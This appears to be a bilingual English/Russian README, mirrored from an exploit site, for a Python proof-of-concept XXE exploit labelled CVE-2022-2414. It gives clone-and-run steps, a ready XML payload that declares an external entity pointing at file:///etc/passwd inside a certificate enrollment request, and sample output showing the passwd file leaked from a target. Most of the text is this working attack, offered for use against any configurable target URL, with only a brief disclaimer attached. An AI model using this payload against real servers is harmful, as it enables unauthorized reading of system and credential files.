## https://sploitus.com/exploit?id=46DA5D24-964F-5315-AF27-7DEE80F3762B
# EN
**GenXMLExternalEntityExploit** is a PoC script for demonstrating an XML External Entity (XXE) vulnerability exploitation. The script leverages XML payloads to read sensitive files from a target server. This can be useful for security testing, penetration testing, or educational purposes.
## Features
- Sends crafted XML payload to a specified server.
- Exploits XXE vulnerabilities to read server files.
- Easily customizable target URL and payload data.
## How to Use
1. **Clone the Repository**
```bash
git clone https://github.com/geniuszly/CVE-2022-2414
```
2. **Navigate to the Directory**
```bash
cd CVE-2022-2414
```
3. **Run the Script**
Make sure you have Python installed on your machine.
```bash
python3 GenXMLExternalEntityExploit.py
```
## Configuration
- **TARGET_URL**: Update the `TARGET_URL` variable in the script to point to the target server you want to test.
- **XML_PAYLOAD**: Customize the `XML_PAYLOAD` string in the script for specific file paths or server-side operations.
- **HEADERS**: Modify HTTP headers as necessary.
## Example
By default, the script uses the following payload to read the `/etc/passwd` file:
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE xmlData [<!ENTITY fetchFile SYSTEM "file:///etc/passwd"> ]>
<CertEnrollmentRequest>
<Attributes/>
<ProfileID>&fetchFile;</ProfileID>
</CertEnrollmentRequest>
```
## Example output
```
Инициализация отправки XML-пейлоада на сервер...
Статус-код ответа: 200
Содержимое XML-ответа:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nологin
...
```
## Disclaimer
This tool is meant for educational purposes and authorized security testing only. The author is not responsible for any illegal use of this tool.
# RU
**GenXMLExternalEntityExploit** — это PoC скрипт для демонстрации эксплуатации уязвимости XML External Entity (XXE). Скрипт использует XML-пейлоад для чтения конфиденциальных файлов с целевого сервера. Может использоваться для тестирования безопасности, проведения пентестов или в образовательных целях.
## Функциональные возможности
- Отправляет сформированный XML-пейлоад на указанный сервер.
- Использует уязвимость XXE для чтения файлов на сервере.
- Легко настраиваемые URL-адрес целевого сервера и содержимое пейлоада.
## Как использовать
1. **Клонируйте репозиторий**
```bash
git clone https://github.com/geniuszly/CVE-2022-2414
```
2. **Перейдите в директорию**
```bash
cd CVE-2022-2414
```
3. **Запустите скрипт**
Убедитесь, что у вас установлен Python.
```bash
python3 GenXMLExternalEntityExploit.py
```
## Настройки
- **TARGET_URL**: Измените переменную `TARGET_URL` в скрипте на URL-адрес сервера, который вы хотите протестировать.
- **XML_PAYLOAD**: Настройте строку `XML_PAYLOAD` для указания конкретных файлов или операций на стороне сервера.
- **HEADERS**: При необходимости измените HTTP-заголовки.
## Пример
По умолчанию скрипт использует следующий пейлоад для чтения файла `/etc/passwd`:
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE xmlData [<!ENTITY fetchFile SYSTEM "file:///etc/passwd"> ]>
<CertEnrollmentRequest>
<Attributes/>
<ProfileID>&fetchFile;</ProfileID>
</CertEnrollmentRequest>
```
## Пример вывода
```
Инициализация отправки XML-пейлоада на сервер...
Статус-код ответа: 200
Содержимое XML-ответа:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nологin
...
```
## Отказ от ответственности
Этот инструмент предназначен исключительно для образовательных целей и тестирования безопасности с разрешения. Автор не несет ответственности за любое незаконное использование данного инструмента.